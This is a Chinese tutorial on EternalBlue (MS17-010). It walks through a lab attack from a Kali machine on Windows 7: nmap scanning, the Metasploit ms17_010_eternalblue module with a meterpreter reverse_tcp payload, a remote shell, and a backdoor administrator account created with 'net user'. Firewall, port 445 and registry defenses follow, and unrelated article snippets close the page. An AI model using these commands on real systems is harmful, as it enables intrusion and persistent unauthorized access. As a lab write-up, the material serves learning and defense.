当前位置: 首页 > news >正文

EternalBlue【永恒之蓝】漏洞详解(复现、演示、远程、后门、入侵、防御)内容丰富-深入剖析漏洞原理-漏洞成因-以及报错解决方法-值得收藏!

漏洞背景:

1.何为永恒之蓝?
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

2.什么是SMB协议?
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

3. SMB工作原理是什么?

  • 首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。
  • 协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。
  • 当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。
  • 连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

准备工作:

虚拟机:VMware
靶机(rhost):Windows7 (IP:192.168.244.133)
攻击机(lhost):Kali (IP:192.168.244.136)
所需工具:nmap、metasploit(MSF) 【工具均在Kali系统内】

漏洞复现过程:

主机发现

关闭防火墙和杀软

靶机关闭防火墙杀软等一切防御信息 否则nmap扫描不到

防火墙关闭路径
控制面板->系统和安全->Windows 防火墙

image.png

查看攻击机与靶机IP信息

查看攻击机与靶机的IP信息
攻击机:终端模拟器->ifconfig
靶机:win->cmd->ipconfig

image.png
image.png

进行Ping通测试

进行ping通测试
Kali使用CTRL+C快捷键进行终止命令进行

image.png
image.png

和上面两张图片一样结果的都表示Ping通成功

扫描存活主机以及开放端口

使用nmap扫描工具对目标机网段进行存活主机扫描以及靶机的445端口是否开放

image.png
image.png

可以看出目标机存活并且445端口为开放状态

入侵过程

开启postgresql数据库服务

以下命令均在Kali攻击机root终端进行!

开启

service postgresql start

查看是否开启

service postgresql status
image.png

此状态表示开启成功

初始化metasploit postgresql数据库

初始化

msfdb init
image.png

此状态表示初始化成功

启动MSF框架

Kali root终端输入

msfconsole
image.png

此状态表示进入MSF框架成功

利用探测漏洞模块

db_status #查看是否进入MSF攻击服务
search ms17_010 #查找探测模块
use auxiliary/scanner/smb/smb_ms17_010 #利用探测模块
show options #查看配置参数
set rhost 192.168.244.133/32 #设置探测主机段
set threads 20 #设置探测线程
run/exploit #执行探测

image.png
image.png

探测出likely表示可能存在漏洞!

利用永恒之蓝模块

use exploit/windows/smb/ms17_010_eternalblue #利用ms17_010永恒之蓝漏洞
set rhost 192.168.244.133 #设置攻击目标IP
set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷(木马信息)
set lhost 192.168.244.136 #设置监听主机IP
set lpost 445 #设置监听端口
run/exploit #执行攻击

image.png

运行成功后会出现meterpreter>
Meterpreter俗称"黑客瑞士军刀"

想要深入了解可以看以下内容

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功后的攻击载荷使用。它可以在触发漏洞后返回一个由攻击者控制的通道,以便远程执行命令。

Meterpreter的功能丰富,例如添加用户、隐藏某些内容、打开shell、获取用户密码、上传和下载远程主机的文件、运行cmd.exe、捕捉屏幕、获取远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等。此外,Meterpreter可以躲避入侵检测系统,在远程主机上隐藏自己,不改变系统硬盘中的文件,因此HIDS(基于主机的入侵检测系统)很难对它做出响应。

Meterpreter还可以简化任务创建多个会话,利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的。

Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。此外,Meterpreter还支持Ruby脚本形式的扩展。

远程查看靶机信息和捕捉屏幕

sysinfo #查看靶机系统信息
getuid #查看靶机用户身份
screenshot #对靶机当前屏幕进行截图

image.png

需要注意的是最后一部屏幕截图保存到了根目录下
根目录下受权限保护可能查看不了图片
解决方法有两种改权限或者复制到桌面上 在这里讲的是第二种方法

cp EoiLSMEC.jpeg '/home/kali/桌面/flag1.png'
image.png
image.png
image.png

进入靶机控制台

shell #进入靶机cmd终端
image.png

成功进入靶机C:\Windows\system32路径下

对靶机进行后门植入

#创建新管理员用户
net user baimao 123 /add
#将baimao用户加入到本地管理员组当中
net localgroup administrators baimao /add
#查看本地管理员组当中的用户成员
net localgroup administrators
#查看此路径下的所有文件和目录
dir

image.png

与图片中信息相同就代表后门植入成功
exit可以退回meterpreter路径下

查看靶机当前用户

whoami
image.png

创建文件夹

mkdir baimao

image.png
image.png

exit可以退出MSF框架

如何防御

开启防火墙

防火墙开启路径
控制面板->系统和安全->Windows 防火墙

image.pngimage.png
image.png

禁用靶机139和445端口

查看靶机445端口是否开启

netstat -ant
image.png

可以看到445端口是开启状态

禁用靶机445端口路径
控制面板->系统和安全->Windows 防火墙

image.png
image.png
image.png
image.png
image.png
image.png
image.png
image.png

禁用server服务

win+r 运行
输入services.msc

image.png

关闭不必要的服务

关闭服务路径
控制面板->系统和安全->Windows 防火墙

image.png
image.png

根据需要可以选择关闭与否

注册表关闭445端口

win+r 运行
输入regedit进入注册表

找到此注册表路径
根据自己系统位数进行修改64位就选择QWORD
HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters

image.png

重命名为SMBDeviceEnabled

image.png

右键->修改->数值数据的值为0(0代表关闭,1代表打开),点击确定,完成设置 。

image.png

重启之后查看445端口是否关闭!

可以看到445端口已经不见了!

安装杀毒软件

360安全卫士与火绒安全软件成功阻止了永恒之蓝!

大家想要了解的,可以参考下!
360安全卫士和火绒安全软件都是知名的电脑安全软件,具有多种防护功能。
360安全卫士是一款全面而高效的电脑安全防护软件,它拥有强大的查杀能力,可以检测和清除电脑中的病毒、木马、恶意程序等安全隐患。同时,它还提供了多种实用的功能,如实时监控、木马查杀、漏洞修复等,可以帮助用户保护电脑安全,提高使用体验。
火绒安全软件则是一款以防护为主打功能的电脑安全软件,它拥有自主知识产权的新一代反病毒引擎,能够检测和分析恶意程序,提供全面的防护功能。此外,火绒安全软件还拥有钩子扫描功能,可以快速扫描指定进程,发现潜在的安全风险。

最后总结

2017年永恒之蓝漏洞,编号为ms17_010漏洞。
现在只有一些低版本的电脑没有打ms17_010的补丁,windows7 以上版本几乎都没有这个漏洞了。
虽然如此,此漏洞非常经典,现如今仍有很大的学习漏洞原理以及深入研究防御策略都有很大的借鉴和学习研究的意义。
让大家可以对网络安全更加重视,网络安全刻不容缓,让我们为国家网络安全的建设共同努力!

相关文章:

EternalBlue【永恒之蓝】漏洞详解(复现、演示、远程、后门、入侵、防御)内容丰富-深入剖析漏洞原理-漏洞成因-以及报错解决方法-值得收藏!

漏洞背景: 1.何为永恒之蓝? 永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子…...

长链接与在线文件

什么是在线文件 常见的聊天工具,比如。。。微信,你可以发送一个文件给对端,即使对端不在线,这个文件也可以暂存在服务器上面,直到接收端上线消费或者超时,这个叫离线文件。与之对应的,在线文件要…...

Python内置数据类型等入门语(句)法

内置数据类型 数字(Number)关键字: int 、float、complex字符串(String)关键字:单引号,双引号 三引号都可以表示,8 种内置类型都可转为字符串类型列表(List) 关键符号 […...

ElasticSearch之RestClient笔记

1. ElasticSearch 1.1 倒排索引 1.2 ElasticSearch和Mysql对比 1.3 RestClient操作 导入依赖 <dependency><groupId>org.elasticsearch.client</groupId><artifactId>elasticsearch-rest-high-level-client</artifactId><version>7.15.…...

饥荒Mod 开发(二二):显示物品信息

饥荒Mod 开发(二一)&#xff1a;超大便携背包&#xff0c;超大物品栏&#xff0c;永久保鲜 饥荒Mod 开发(二三)&#xff1a;显示物品栏详细信息 饥荒中的物品没有详细信息&#xff0c;基本上只有一个名字&#xff0c;所以很多物品的功能都不知道&#xff0c;比如浆果吃了也不知…...

Microsoft Edge使用方法和心得

Microsoft Edge使用方法和心得 大家好&#xff0c;我是豪哥&#xff0c;一名来自杭州的Java程序员&#xff0c;今天我想分享一下我对Microsoft Edge的使用方法和心得。作为一名热爱编程的程序员&#xff0c;我发现一个高效的浏览器对于我们的工作和学习至关重要。而Microsoft …...

Kafka操作指令笔记

查堆积用命令查&#xff1a; ./kafka-consumer-groups.sh --bootstrap-server {kafka集群地址} --describe --group {消费组名称}bin/kafka-consumer-groups.sh --bootstrap-server localhost:9092 --describe --all-groups #查看所有组别的积压情况可以通过grep、awk或其他文…...

WAVE SUMMIT+ 2023倒计时2天,传文心一言将曝最新进展!

传文心一言将曝最新进展&#xff01; 亮点一&#xff1a;趋势引领&#xff0c;“扛把子”文心一言将曝新进展亮点二&#xff1a;干货十足&#xff0c;硬核低门槛开发秘籍大放送亮点三&#xff1a;蓄势待发&#xff0c;大模型赋能产业正当时亮点四&#xff1a;群星闪耀&#xff…...

Crow:Middlewares 庖丁解牛5 context

Crow:Middlewares 庖丁解牛4 partial_context-CSDN博客 基于partial_context再来解释context namespace detail {template<typename... Middlewares>struct partial_context : public pop_back<Middlewares...>::template rebind<partial_context>, public…...

CentOS 7 设置网络

CentOS 7 设置网络 正常情况 ①登陆进去之后使用下面的命令修改文件 echo ONBOOTyes >> /etc/sysconfig/network-scripts/ifcfg-ens33②如果是虚拟机重启后使用如下命令进行查看IP地址 ip addr注&#xff1a;到这里如果显示有两部分&#xff0c;则代表网络设置成功&a…...

装饰器模式(Decorator)

装饰器模式(Decorator Pattern)是一种结构型设计模式,用于动态地给一个对象添加额外的职责。装饰器提供了一个灵活的替代扩展功能的方案,相比继承更加灵活。 在Java中,装饰器模式通常涉及以下几个部分: 组件(Component):定义一个对象接口,可以给这些对象动态添加职责…...

关于“Python”的核心知识点整理大全34

目录 第&#xff11;3 章 外星人 13.1 回顾项目 game_functions.py 13.2 创建第一个外星人 13.2.1 创建 Alien 类 alien.py 13.2.2 创建 Alien 实例 alien_invasion.py 13.2.3 让外星人出现在屏幕上 game_functions.py 13.3 创建一群外星人 13.3.1 确定一行可容纳…...

设计模式--抽象工厂模式

实验4&#xff1a;抽象工厂模式 本次实验属于模仿型实验&#xff0c;通过本次实验学生将掌握以下内容&#xff1a; 1、理解抽象工厂模式的动机&#xff0c;掌握该模式的结构&#xff1b; 2、能够利用抽象工厂模式解决实际问题。 [实验任务]&#xff1a;人与肤色 使用抽象…...

浅析海博深造

文章目录 深造作用 留学种类 选专业 择校 申请流程 申请方式 深造作用 1、个人能力提升&#xff08;学术专业、语言、新文化或新生活方式&#xff09; 2、更好的职业发展&#xff08;起点更高、结交新朋友或扩大社交圈&#xff09; 3、北京上海落户优惠 4、海外居留福…...

【Hive_05】企业调优1(资源配置、explain、join优化)

1、 计算资源配置1.1 Yarn资源配置1.2 MapReduce资源配置 2、 Explain查看执行计划&#xff08;重点&#xff09;2.1 Explain执行计划概述2.2 基本语法2.3 案例实操 3、分组聚合优化3.1 优化说明&#xff08;1&#xff09;map-side 聚合相关的参数 3.2 优化案例 4、join优化4.1…...

synchronized

⭐ 作者&#xff1a;小胡_不糊涂 &#x1f331; 作者主页&#xff1a;小胡_不糊涂的个人主页 &#x1f4c0; 收录专栏&#xff1a;JavaEE &#x1f496; 持续更文&#xff0c;关注博主少走弯路&#xff0c;谢谢大家支持 &#x1f496; synchronized 1. 特性1.1 互斥1.2 可重入 …...

Vue在页面上添加水印

第一步&#xff1a;在自己的项目里创建一个js文件&#xff1b;如图所示我在在watermark文件中创建了一个名为waterMark.js文件。 waterMark.js /** 水印添加方法 */ let setWatermark (str1, str2) > {let id 1.23452384164.123412415if (document.getElementById(id) …...

SQL server 数据库练习题及答案(练习2)

使用你的名字创建一个数据库 创建表&#xff1a; 数据库中有三张表&#xff0c;分别为student,course,SC&#xff08;即学生表&#xff0c;课程表&#xff0c;选课表&#xff09; 问题&#xff1a; --1.分别查询学生表和学生修课表中的全部数据。--2.查询成绩在70到80分之间…...

minicube搭建golang容器服务

引言 最近在自己电脑上搭建一个小型k8s环境&#xff0c;以学习云原生相关内容。这里我主要分为三部分记录&#xff1a; 容器及容器编排理论环境安装相关rpcx服务实战 还在调试中&#xff0c;先总结整理下&#xff0c;这里后续补充上我的github工程链接。 一、容器及容器编排理…...

图片批量处理:图片批量缩放,高效调整尺寸的技巧

在数字媒体时代&#xff0c;图片处理已是日常生活和工作中不可或缺的一部分。有时候要批量处理图片&#xff0c;如缩放图片尺寸&#xff0c;以满足不同的应用需求。现在一起来看看办公提效式具如何高效的将图片批量处理方法&#xff0c;快速、准确地批量调整图片尺寸操作。 下…...

嵌入式MCU性能评估:CoreMark移植、测试与深度分析指南

1. 项目概述&#xff1a;为什么我们需要CoreMark&#xff1f;在嵌入式开发领域&#xff0c;尤其是基于ARM Cortex-M这类资源受限的微控制器&#xff08;MCU&#xff09;进行选型或性能优化时&#xff0c;一个最直接也最令人头疼的问题就是&#xff1a;这颗芯片到底有多“快”&a…...

提示词失效?Midjourney印象派出图不稳的8大陷阱,资深AIGC架构师逐帧解析SD/MJ风格迁移差异

更多请点击&#xff1a; https://codechina.net 第一章&#xff1a;提示词失效的本质&#xff1a;当语义熵击穿Midjourney的隐空间边界 当“cyberpunk cat wearing neon sunglasses, ultra-detailed, 8k”生成结果突然坍缩为 a blurry humanoid silhouette with cat ears&…...

计算机视觉与深度学习融合的群养猪行为识别与分类算法【附算法】

✨ 长期致力于计算机视觉、深度学习、攻击识别、多物体玩耍识别、饮水和玩耍饮水器分类、进食识别、行为量化研究工作&#xff0c;擅长数据搜集与处理、建模仿真、程序编写、仿真设计。 ✅ 专业定制毕设、代码 ✅ 如需沟通交流&#xff0c;点击《获取方式》 &#xff08;1&…...

Kimi LeetCode 2547. 拆分数组的最小代价 C++实现

这道题的核心思路是动态规划 记忆化搜索。我们定义 dfs(i) 为从下标 i 开始拆分数组的最小代价&#xff0c;答案即为 dfs(0)。关键观察子数组的重要性 k trimmed(subarray).length。其中 trimmed 操作会移除子数组中只出现一次的数字。如果我们用 cnt[x] 记录数字 x 在当前子…...

免费在线去水印工具哪个好用?2026好用的去水印软件推荐,无广告干净体验

想要快速去除视频或图片上的水印&#xff0c;又不想下载安装应用&#xff0c;在线工具是最便捷的选择。本文为你精选了2026年最实用的免费在线去水印方案&#xff0c;包括专业小程序和web工具&#xff0c;帮你找到真正好用、无广告、完全免费的去水印解决方案。 快速对比&#…...

Redux Framework未来展望:探索v5版本的新特性和发展方向

Redux Framework未来展望&#xff1a;探索v5版本的新特性和发展方向 【免费下载链接】redux-framework Redux is a simple, truly extensible options framework for WordPress themes and plugins! 项目地址: https://gitcode.com/gh_mirrors/re/redux-framework Redux…...

【项目实训(个人8)】

继续进行法律文书智能摘要系统的开发&#xff0c;新增了几个功能&#xff0c;并优化了用户体验概述本次开发为法律文书智能摘要系统新增了两项核心功能。其一是摘要版本管理&#xff0c;支持同一文档的多版本摘要生成、存储、对比和回滚。用户在生成摘要时&#xff0c;系统自动…...

启XX辰-头部安全公司面试提问

自我介绍 对称加密有哪些&#xff0c;非对称加密有哪些&#xff0c;两者之间的主要差异 有过JS逆向的经验吗 非对称加密如何获取加密前的内容&#xff0c;已知公钥 如果就给你一个登录框&#xff0c;给出你的测试思路 对于在工作时&#xff0c;给你一个企业名&#xff0c;给出你…...

【Spring】 AOP 核心原理,与声明式事务传播机制

一、什么是 AOPAOP&#xff08;Aspect Oriented Programming&#xff0c;面向切面编程&#xff09;核心思想在不修改原有业务代码的情况下&#xff0c;对方法进行统一增强。例如&#xff1a;日志记录&#xff1b;权限校验&#xff1b;事务管理&#xff1b;性能统计&#xff1b;…...

产品经理把PRD写成“天书”,我用AI半小时重写了一遍,他当场愣住

前言 产品经理和开发之间的矛盾&#xff0c;根源往往不在需求本身&#xff0c;而在于需求表达方式。一个合格的需求文档应该包含&#xff1a;功能描述、业务规则、边界条件、异常处理、验收标准。但现实中&#xff0c;很多PRD长这样&#xff1a;“用户点击支付后&#xff0c;系…...